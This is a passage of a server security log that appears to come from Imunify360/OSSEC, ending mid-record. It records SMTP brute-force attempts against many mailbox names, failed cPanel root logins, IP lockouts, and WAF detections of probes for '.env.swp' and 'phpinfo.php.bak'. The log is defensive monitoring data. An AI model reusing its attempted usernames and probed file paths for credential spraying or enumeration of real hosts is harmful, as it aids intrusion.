rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:36:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2094: 535 Incorrect authentication data (set_id=888@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:36:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:36:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26976: 535 Incorrect authentication data (set_id=sandeep@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:15 +0000] info [whostmgrd] 185.213.83.105 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID jwa8ke) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:36:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32830: 535 Incorrect authentication data (set_id=legacy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:36:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:37:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53918: 535 Incorrect authentication data (set_id=mijn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:37:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18632: 535 Incorrect authentication data (set_id=mechanik@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:37:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:37:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:37:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59218: 535 Incorrect authentication data (set_id=basil@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28694: 535 Incorrect authentication data (set_id=spi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:37:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38258: 535 Incorrect authentication data (set_id=ms@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:18 +0000] info [whostmgrd] 185.213.83.105 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:37:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:21 +0000] info [whostmgrd] 185.213.83.105 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:37:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57898: 535 Incorrect authentication data (set_id=enable@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:37:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24300: 535 Incorrect authentication data (set_id=jwkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:38:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15978: 535 Incorrect authentication data (set_id=facebook@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:38:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3152: 535 Incorrect authentication data (set_id=michaela@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:38:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49170: 535 Incorrect authentication data (set_id=anci@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:38:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:38:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:38:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:38:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:50686: 535 Incorrect authentication data (set_id=mailrelay@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:38:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:62766: 535 Incorrect authentication data (set_id=sharepoint@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:41756: 535 Incorrect authentication data (set_id=1983@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.237.122.127
country_id: 99237
description:
212.237.122.127 - - [13/Jun/2026:07:39:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001041&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336391 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-chef-de-letat-sem-faure-essozimna-gnassingbe-assite-a-la-prestation-de-serment-du-president-elu-alpha-conde/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.6843.1391 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.237.122.127


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28196: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:24296: 535 Incorrect authentication data (set_id=slave@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20248: 535 Incorrect authentication data (set_id=dragon@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.192.213.85
country_id: 1733045
description:
14.192.213.85 - - [13/Jun/2026:07:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131400&pdata=https%253A%252F%252Ftogodailynews.tg%252Frapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336363 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rapprocher-les-futurs-diplomes-des-realites-professionnelles-le-ministere-du-commerce-et-ses-structures-rattachees-recoivent-la-visite-dun-groupe-detudiants-de-lome-business-school/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2633.1900 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.192.213.85


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:bighostingsnbd||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34826: 535 Incorrect authentication data (set_id=csmith@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:39:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:39:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54518: 535 Incorrect authentication data (set_id=amd@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:39:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40574: 535 Incorrect authentication data (set_id=newserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:39:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:39:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:41490: 535 Incorrect authentication data (set_id=sqlserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:39:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:39:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:39:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 63.180.204.7
country_id: 2921044
domain: lasnb.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:39:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.185.95
country_id: 6252001
description:
146.190.185.95 - - [13/Jun/2026:07:40:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278107&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336453 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.185.95


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.43.97.103
country_id: 298795
description:
Jun 13 07:40:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.43.97.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:40:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:40:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63548: 535 Incorrect authentication data (set_id=zms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:40:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11978: 535 Incorrect authentication data (set_id=citrix2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:40:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.43.97.103
country_id: 298795
description:
2026-06-13 07:41:01 dovecot_plain authenticator failed for H=(nx3k9io319xwtehpkqp) [213.43.97.103]:47532: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:16018: 535 Incorrect authentication data (set_id=securite@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:40:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4388: 535 Incorrect authentication data (set_id=laborator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:40:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:32388: 535 Incorrect authentication data (set_id=elearn@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:40:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:40:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:31934: 535 Incorrect authentication data (set_id=yaoyao@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:41:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:41:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:23284: 535 Incorrect authentication data (set_id=tushar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:41:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16984: 535 Incorrect authentication data (set_id=aris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:41:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:41:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:28232: 535 Incorrect authentication data (set_id=dev.www@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:41:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:42:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:42:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:59982: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:42:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:42:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:14276: 535 Incorrect authentication data (set_id=bux@ns5.netmaster.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.229.219.202
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:arsjawjaz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:42:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10980: 535 Incorrect authentication data (set_id=acctftp1@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:42:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:8748: 535 Incorrect authentication data (set_id=stevie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:43:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:43:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:43:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:43:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:37952: 535 Incorrect authentication data (set_id=tomata@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:43:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2738: 535 Incorrect authentication data (set_id=userid@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:43:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5150: 535 Incorrect authentication data (set_id=tester2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:44:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:29902: 535 Incorrect authentication data (set_id=gutenberg@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:44:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:44:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:44:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:44:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:58770: 535 Incorrect authentication data (set_id=sagar@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60750: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:44:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:35842: 535 Incorrect authentication data (set_id=sol@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:45:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59196: 535 Incorrect authentication data (set_id=loris@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 07:45:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:45:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:52194: 535 Incorrect authentication data (set_id=testing1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:45:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:45:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21776: 535 Incorrect authentication data (set_id=sku@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:45:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:45:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 07:46:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.252.40.158
country_id: 732800
description:
Jun 13 07:46:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.252.40.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
